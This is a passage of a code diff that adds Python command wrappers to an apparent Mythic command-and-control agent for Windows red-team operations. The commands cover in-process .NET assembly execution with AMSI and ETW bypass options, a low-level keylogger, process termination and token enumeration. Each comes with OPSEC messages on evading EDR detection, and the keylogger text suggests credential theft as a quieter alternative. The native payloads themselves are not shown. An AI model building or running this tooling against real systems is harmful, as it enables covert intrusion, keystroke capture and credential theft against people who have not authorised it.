message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
message += "💡 ARTIFACT DETAILS:\n"
message += " • Process Create artifact is logged in Mythic\n"
message += " • Memory allocation may be detected by EDR memory scanning\n"
message += " • API calls may be logged by security tools\n\n"
message += "✅ Review artifacts in the Artifacts tab after execution."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostMessage=message
)
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,529 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import logging
logging.basicConfig(level=logging.INFO)
# Wrapper function for Inline-EA
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
# Completion callback for BOF execution
# This captures output from the subtask and displays it in the main command
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
try:
out = ""
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
# Get parent task ID
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if not parent_task_id:
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
# Get subtask ID
subtask_id = None
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
subtask_id = completionMsg.SubtaskData.Task.ID
if not subtask_id:
# Try alternative attribute names
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
if hasattr(completionMsg.Subtask, 'ID'):
subtask_id = completionMsg.Subtask.ID
elif hasattr(completionMsg.Subtask, 'TaskID'):
subtask_id = completionMsg.Subtask.TaskID
if not subtask_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response="[ERROR] No subtask ID found in completion message"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
# Search for responses from the subtask
# Add a small delay to ensure the response is available
import asyncio
await asyncio.sleep(1.0) # Wait 1 second for response to be processed
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
logging.info(f"[coff_completion_callback] Searching responses for subtask {subtask_id}, Success={responses.Success}")
logging.info(f"[coff_completion_callback] Response object type: {type(responses)}")
logging.info(f"[coff_completion_callback] Response object attributes: {dir(responses)}")
if not responses.Success:
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
logging.warning(f"[coff_completion_callback] Failed to search responses: {error_detail}")
# Don't return error, just log it and continue
# Process responses if they exist
responses_list = None
if responses.Success:
if hasattr(responses, 'Responses'):
responses_list = responses.Responses
logging.info(f"[coff_completion_callback] Found responses.Responses: {len(responses_list) if responses_list else 0} items")
elif hasattr(responses, 'responses'):
responses_list = responses.responses
logging.info(f"[coff_completion_callback] Found responses.responses: {len(responses_list) if responses_list else 0} items")
elif hasattr(responses, 'Response'):
responses_list = [responses.Response] if responses.Response else []
logging.info(f"[coff_completion_callback] Found responses.Response: {len(responses_list) if responses_list else 0} items")
else:
logging.warning(f"[coff_completion_callback] No known response attribute found in response object")
if responses_list:
logging.info(f"[coff_completion_callback] Processing {len(responses_list)} response items")
for idx, output in enumerate(responses_list):
logging.info(f"[coff_completion_callback] Processing response item {idx}, type: {type(output)}")
if hasattr(output, 'Response'):
out += str(output.Response)
elif hasattr(output, 'response'):
out += str(output.response)
elif hasattr(output, 'Message'):
out += str(output.Message)
elif hasattr(output, 'message'):
out += str(output.message)
elif hasattr(output, 'output'):
out += str(output.output)
elif isinstance(output, str):
out += output
elif isinstance(output, bytes):
out += output.decode('utf-8', errors='ignore')
else:
logging.info(f"[coff_completion_callback] Converting output to string, type: {type(output)}")
out += str(output)
# If no output was found, indicate successful execution
if not out:
logging.warning(f"[coff_completion_callback] No output found for subtask {subtask_id}")
out = "[Assembly executed successfully but produced no output]"
# Send the aggregated output back to the parent task
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=out
))
return response
except Exception as e:
import traceback
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
try:
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if parent_task_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=error_msg
))
except:
pass
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
class InlineExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="assembly_name",
cli_name="Assembly",
display_name="Assembly",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]),
CommandParameter(
name="assembly_file",
display_name="New Assembly",
type=ParameterType.File,
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New Assembly",
ui_position=1,
)
]
),
CommandParameter(
name="assembly_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.String,
description="Arguments to pass to the assembly.",
default_value="",
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=2,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=2
),
],
),
CommandParameter(
name="patch_exit",
cli_name="-patchexit",
display_name="patchexit",
type=ParameterType.Boolean,
description="Patches System.Environment.Exit to prevent Beacon process from exiting",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=3,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=3
),
],
),
CommandParameter(
name="amsi",
cli_name="-amsi",
display_name="amsi",
type=ParameterType.Boolean,
description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=4,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=4
),
],
),
CommandParameter(
name="etw",
cli_name="-etw",
display_name="etw",
type=ParameterType.Boolean,
description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=5,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=5
),
],
),
]
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
# This is only called when user types command directly
# Subtasks use parse_dictionary instead
if len(self.command_line) > 0:
raise ValueError("Must supply named arguments or use the modal")
# If command_line is empty, do nothing (subtask will use parse_dictionary)
async def parse_dictionary(self, dictionary_arguments):
# This is called when using the modal UI or when called as a subtask
# Just load the arguments directly
self.load_args_from_dictionary(dictionary_arguments)
class InlineExecuteAssemblyCommand(CommandBase):
cmd = "inline_execute_assembly"
needs_admin = False
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
version = 1
author = "@c0rnbread (adapted for Angerona)"
script_only = True
attackmapping = []
argument_class = InlineExecuteAssemblyArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes(
dependencies=["inline_execute"],
alias=True,
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about .NET assembly execution risks, especially with bypass flags.
"""
# Check if bypass flags are enabled
amsi_enabled = taskData.args.get_arg("amsi") or False
etw_enabled = taskData.args.get_arg("etw") or False
patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
blocked = False
message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
message += ".NET assembly execution is monitored by:\n"
message += " • EDR/XDR solutions (CLR loading detection)\n"
message += " • AMSI (Anti-Malware Scan Interface)\n"
message += " • ETW (Event Tracing for Windows)\n"
message += " • Memory scanning (executable page allocation)\n"
message += " • Behavioral analysis engines\n\n"
if amsi_enabled or etw_enabled:
message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
if amsi_enabled:
message += " • --amsi: AMSI bypass by patching clr.dll\n"
message += " - Patching clr.dll may trigger behavioral detections\n"
message += " - More evasive than patching amsi.dll, but still detectable\n"
message += " - Advanced EDR solutions monitor CLR modifications\n\n"
if etw_enabled:
message += " • --etw: ETW bypass via EAT hooking\n"
message += " - EAT hooking advapi32.dll!EventWrite is monitored\n"
message += " - Advanced EDR solutions detect export table modifications\n"
message += " - May trigger immediate alerts\n\n"
message += "🔍 BYPASS DETECTION MECHANISMS:\n"
message += " • CLR DLL patching detection\n"
message += " • Export Address Table (EAT) hooking detection\n"
message += " • Behavioral analysis of bypass techniques\n"
message += " • Memory integrity checks\n\n"
message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
# Block if both bypasses are enabled
if amsi_enabled and etw_enabled:
blocked = True
message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
message += "This combination has very high detection risk.\n"
message += "Consider using only one bypass or none if possible.\n\n"
else:
message += "🔍 DETECTION MECHANISMS:\n"
message += " • CLR loading into memory\n"
message += " • .NET assembly reflection/loading\n"
message += " • Memory allocation (executable pages)\n"
message += " • Assembly execution patterns\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • In-process execution reduces detection vectors (no process injection)\n"
message += " • Better OPSEC than process spawning (no new process creation)\n"
message += " • CLR loading may be detected by EDR\n"
message += " • Memory allocation may be scanned\n\n"
message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
if patch_exit_enabled:
message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n"
message += "💡 ALTERNATIVES:\n"
message += " • Use `inline_execute` for BOFs (lower detection risk)\n"
message += " • Consider executing assemblies without bypass flags first\n\n"
if not blocked:
message += "✅ This is a WARNING only - command will proceed.\n"
else:
message += "❌ This command is BLOCKED due to high detection risk.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=blocked,
OpsecPreBypassRole="other_operator" if blocked else "operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
amsi_enabled = taskData.args.get_arg("amsi") or False
etw_enabled = taskData.args.get_arg("etw") or False
message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: .NET assembly execution in-process\n"
message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n"
message += " • Memory Allocation: Executable memory pages for assembly\n"
if amsi_enabled:
message += " • AMSI Bypass: clr.dll patching (high detection risk)\n"
if etw_enabled:
message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
message += "\n💡 ARTIFACT DETAILS:\n"
message += " • Process Create artifact is logged in Mythic\n"
message += " • CLR loading may be detected by EDR\n"
message += " • Memory allocation may be scanned by EDR memory protection\n"
if amsi_enabled or etw_enabled:
message += " • Bypass techniques may trigger immediate behavioral alerts\n"
message += "\n✅ Review artifacts in the Artifacts tab after execution."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments"),
taskData.args.get_arg("patch_exit"),
taskData.args.get_arg("amsi"),
taskData.args.get_arg("etw")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments"),
taskData.args.get_arg("patch_exit"),
taskData.args.get_arg("amsi"),
taskData.args.get_arg("etw")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly ( base64 ( assembly bytes ) )
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Arguments depend on the BOF
# Note: Using bof_name instead of bof_file to match Xenon's implementation
file_name = "inline-ea.x64.o"
arguments = [
[
"bytes",
assembly_contents.Content.hex() # Raw bytes of Assembly
],
[
"int32",
len(assembly_contents.Content) # Assembly length
],
[
"wchar",
taskData.args.get_arg("assembly_arguments") or "" # Assembly argument string
],
[
"int32",
1 if taskData.args.get_arg("patch_exit") else 0 # BOOL: convert to 1 or 0
],
[
"int32",
1 if taskData.args.get_arg("amsi") else 0 # BOOL: convert to 1 or 0
],
[
"int32",
1 if taskData.args.get_arg("etw") else 0 # BOOL: convert to 1 or 0
]
]
# Find the BOF file first
bof_file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=file_name,
LimitByCallback=False,
MaxResults=1
))
if not bof_file_resp.Success or len(bof_file_resp.Files) == 0:
raise Exception(f"Failed to find BOF file '{file_name}': {bof_file_resp.Error if bof_file_resp.Success else 'File not found'}")
# Create subtask to execute inline_execute with the BOF
# Use coff_completion_callback to capture output and display it in the main command
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inline_execute",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"bof_file": bof_file_resp.Files[0].AgentFileId,
"bof_arguments": arguments
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,106 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class KeylogStartArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
class KeylogStartCommand(CommandBase):
cmd = "keylog_start"
needs_admin = False
help_cmd = "keylog_start"
description = "Start a low-level keyboard logger that captures all keystrokes from the system and streams them to Mythic in real-time. Uses Windows keyboard hooking mechanisms (SetWindowsHookEx) to intercept keyboard input at a low level. CRITICAL OPSEC RISK: Keyloggers are extremely detectable by EDR/XDR solutions, anti-malware, and behavioral analysis engines. Detection is likely within minutes or hours. Always requires approval from a lead operator. Consider alternatives such as credential theft, browser credential extraction, or clipboard monitoring for better OPSEC."
version = 1
author = "@KaseyaOFSTeam"
argument_class = KeylogStartArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
suggested_command=False,
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about keylogger risks - this is highly detectable.
"""
message = "🚨 CRITICAL OPSEC RISK - Keylogger Detected\n\n"
message += "Keyloggers are EXTREMELY detectable and monitored by:\n"
message += " • EDR/XDR solutions (high priority detection)\n"
message += " • Anti-malware solutions\n"
message += " • Behavioral analysis engines\n"
message += " • User activity monitoring tools\n"
message += " • Data loss prevention (DLP) systems\n\n"
message += "Detection mechanisms:\n"
message += " • Low-level keyboard hook detection\n"
message += " • API hooking detection (SetWindowsHookEx)\n"
message += " • Keyboard input monitoring\n"
message += " • Suspicious process behavior\n"
message += " • Memory scanning for keylogger patterns\n\n"
message += "⚠️ HIGH RISK FACTORS:\n"
message += " • Keyloggers are classified as malware by most security tools\n"
message += " • Immediate detection and removal is common\n"
message += " • Legal implications in many jurisdictions\n"
message += " • May trigger incident response procedures\n\n"
message += "Consider alternatives:\n"
message += " • Use credential theft techniques instead\n"
message += " • Use browser credential extraction\n"
message += " • Use clipboard monitoring (less detectable)\n"
message += " • Use screenshot-based credential capture\n\n"
message += "⚠️ WARNING: This command is highly detectable and should only be used\n"
message += "in controlled environments or with explicit authorization."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=True, # Always block keyloggers
OpsecPreBypassRole="lead", # Only lead can approve
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "🚨 OPSEC POST-CHECK - Keylogger Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Keyboard Hook: Low-level keyboard hook installation\n"
message += " • API Hooking: SetWindowsHookEx/UnhookWindowsHookEx calls\n"
message += " • Process Behavior: Continuous keyboard monitoring\n"
message += " • Network Activity: Keylog data transmission\n"
message += " • Memory Artifacts: Keylogger code in memory\n\n"
message += "These artifacts are detected with HIGH CONFIDENCE by:\n"
message += " • EDR/XDR behavioral detection (99%+ detection rate)\n"
message += " • Anti-malware signature and heuristic detection\n"
message += " • Memory scanning tools\n"
message += " • API hooking detection mechanisms\n"
message += " • User activity monitoring systems\n\n"
message += "⚠️ CRITICAL WARNINGS:\n"
message += " • Detection is likely within minutes or hours\n"
message += " • May result in immediate agent termination\n"
message += " • May trigger full incident response\n"
message += " • Legal and compliance risks\n\n"
message += "⚠️ This is one of the most detectable operations in red teaming.\n"
message += "Use with extreme caution and only when absolutely necessary."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=True, # Block even in post
OpsecPostBypassRole="lead", # Only lead can approve
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
resp.DisplayParams = "Start keylogger"
return resp
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
@@ -0,0 +1,33 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class KeylogStopArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
class KeylogStopCommand(CommandBase):
cmd = "keylog_stop"
needs_admin = False
help_cmd = "keylog_stop"
description = "Stop the active keyboard logger and remove the keyboard hooks. This command safely terminates keylogging operations and cleans up the hooking mechanisms. Use this command when keylogging is no longer needed to reduce detection risk and free system resources."
version = 1
author = "@KaseyaOFSTeam"
argument_class = KeylogStopArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
suggested_command=False,
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
resp = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
resp.DisplayParams = "Stop keylogger"
return resp
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
return PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
@@ -0,0 +1,216 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class KillArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="pid",
type=ParameterType.Number,
description="Process ID to kill",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
# Process Browser parameters (optional, passed automatically by Mythic)
CommandParameter(
name="host",
type=ParameterType.String,
description="Host name (from Process Browser)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
CommandParameter(
name="process_id",
type=ParameterType.Number,
description="Process ID (from Process Browser, takes precedence over pid)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=3
)]
),
CommandParameter(
name="architecture",
type=ParameterType.String,
description="Process architecture (from Process Browser)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=4
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
# Check if process_id is provided (from Process Browser)
if not self.get_arg("process_id") and not self.get_arg("pid"):
raise ValueError("Must supply a PID")
else:
try:
self.add_arg("pid", int(self.command_line))
except ValueError:
raise ValueError("PID must be a number")
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
# If process_id is provided (from Process Browser), use it instead of pid
if self.get_arg("process_id") and not self.get_arg("pid"):
self.add_arg("pid", self.get_arg("process_id"))
class KillCommand(CommandBase):
cmd = "kill"
needs_admin = False
help_cmd = "kill <pid>"
description = "Terminate a process by its Process ID (PID). The process is immediately terminated using TerminateProcess API. Compatible with Mythic Process Browser for interactive process termination. Automatically removes the killed process from the Process Browser view. WARNING: Critical system processes (PID 0, 4, 8) are blocked from termination to prevent system instability. Creates a 'Process Termination' artifact for tracking."
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1489"]
supported_ui_features = ["process_browser:kill"]
argument_class = KillArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about process termination risks, especially for critical processes.
"""
pid = taskData.args.get_arg("pid") or taskData.args.get_arg("process_id")
# Critical system processes that should NEVER be killed
critical_pids = {
0: "Idle Process - Cannot be killed",
4: "System Process - Critical system process, NEVER kill",
8: "Memory Compression - Critical system process",
}
blocked = False
critical_warning = ""
if pid:
pid_int = int(pid) if pid and str(pid).isdigit() else None
if pid_int in critical_pids:
critical_warning = f"🚨 CRITICAL: {critical_pids[pid_int]}\n⚠️ WARNING: Killing this process may cause system instability or crash!\n\n"
blocked = True
message = "⚠️ OPSEC RISK - Process Termination Detected\n\n"
message += "Process termination is monitored by:\n"
message += " • EDR/XDR solutions\n"
message += " • Process monitoring tools\n"
message += " • Security auditing systems\n"
message += " • Endpoint protection platforms\n\n"
if pid:
message += f"Target Process ID: {pid}\n"
if critical_warning:
message += critical_warning
message += "\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • TerminateProcess API calls\n"
message += " • Process termination events\n"
message += " • Suspicious process killing patterns\n"
message += " • Termination of security processes\n\n"
message += "💡 RECOMMENDATIONS:\n"
message += " • Verify the process is not critical using Process Browser\n"
message += " • Ensure you understand the impact before proceeding\n"
message += " • Check if process is a security tool (EDR, AV) - may trigger immediate alerts\n\n"
if blocked:
message += "⚠️ TO PROCEED: You need approval from another operator.\n"
message += "This command is blocked due to targeting a critical system process."
else:
message += "⚠️ WARNING: Killing security processes may trigger immediate alerts!\n"
message += "This is a WARNING only - command will proceed."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=blocked,
OpsecPreBypassRole="other_operator" if blocked else "operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
pid = taskData.args.get_arg("pid") or taskData.args.get_arg("process_id")
message = "⚠️ OPSEC POST-CHECK - Process Termination Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Termination: TerminateProcess API call\n"
message += " • Process Access: OpenProcess with PROCESS_TERMINATE\n"
message += " • Event Log: Process termination event (if logging enabled)\n\n"
if pid:
message += f"Target Process ID: {pid}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR behavioral detection\n"
message += " • Windows Event Logging (if enabled)\n"
message += " • Process monitoring tools\n"
message += " • Security information systems\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • Target is a security process (EDR, AV)\n"
message += " • Target is a critical system process\n"
message += " • Multiple processes are terminated rapidly\n"
message += " • Process is a protected service\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
pid = taskData.args.get_arg("pid")
if pid:
response.DisplayParams = f"Killing process PID: {pid}"
else:
response.DisplayParams = "Killing process (no PID specified)"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Check if kill was successful by checking user_output
if response:
user_output = response.get("user_output", "")
# Check if output indicates success (doesn't contain error indicators)
if user_output and not any(err in user_output.lower() for err in ["error", "no se pudo", "falló", "failed"]):
# Get the PID that was killed
pid = task.args.get_arg("pid") or task.args.get_arg("process_id")
if pid:
# Get hostname
host = task.Callback.Host if task.Callback else ""
# Add removed_processes array to response (similar to removed_files for file browser)
# This tells Mythic Process Browser to remove this process from the cache
resp.ProcessResponse = response if isinstance(response, dict) else {}
if "removed_processes" not in resp.ProcessResponse:
resp.ProcessResponse["removed_processes"] = []
resp.ProcessResponse["removed_processes"].append({
"host": host,
"process_id": int(pid)
})
logging.info(f"[PROCESS_BROWSER] Marked process PID {pid} as removed in Process Browser")
return resp
@@ -0,0 +1,144 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class ListTokensArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
# Process Browser parameters (optional, passed automatically by Mythic)
CommandParameter(
name="host",
type=ParameterType.String,
description="Host name (from Process Browser)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=1
)]
),
CommandParameter(
name="process_id",
type=ParameterType.Number,
description="Process ID to list tokens from (from Process Browser)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=2
)]
),
CommandParameter(
name="architecture",
type=ParameterType.String,
description="Process architecture (from Process Browser)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=3
)]
),
]
async def parse_arguments(self):
pass
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class ListTokensCommand(CommandBase):
cmd = "list_tokens"
needs_admin = False
help_cmd = "list_tokens"
description = "Enumerate and list all available security tokens from running processes on the target system. Shows detailed token information including user context, privileges, and groups for each process. Compatible with Mythic Process Browser for interactive token enumeration. Useful for reconnaissance to identify high-value tokens before attempting token theft. Lower detection risk than token theft operations, but token enumeration may still be logged by security tools."
version = 1
author = "@KaseyaOFSTeam"
supported_ui_features = ["process_browser:list_tokens"]
argument_class = ListTokensArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about token enumeration risks.
"""
pid = taskData.args.get_arg("process_id")
message = "⚠️ OPSEC WARNING - Token Enumeration Detected\n\n"
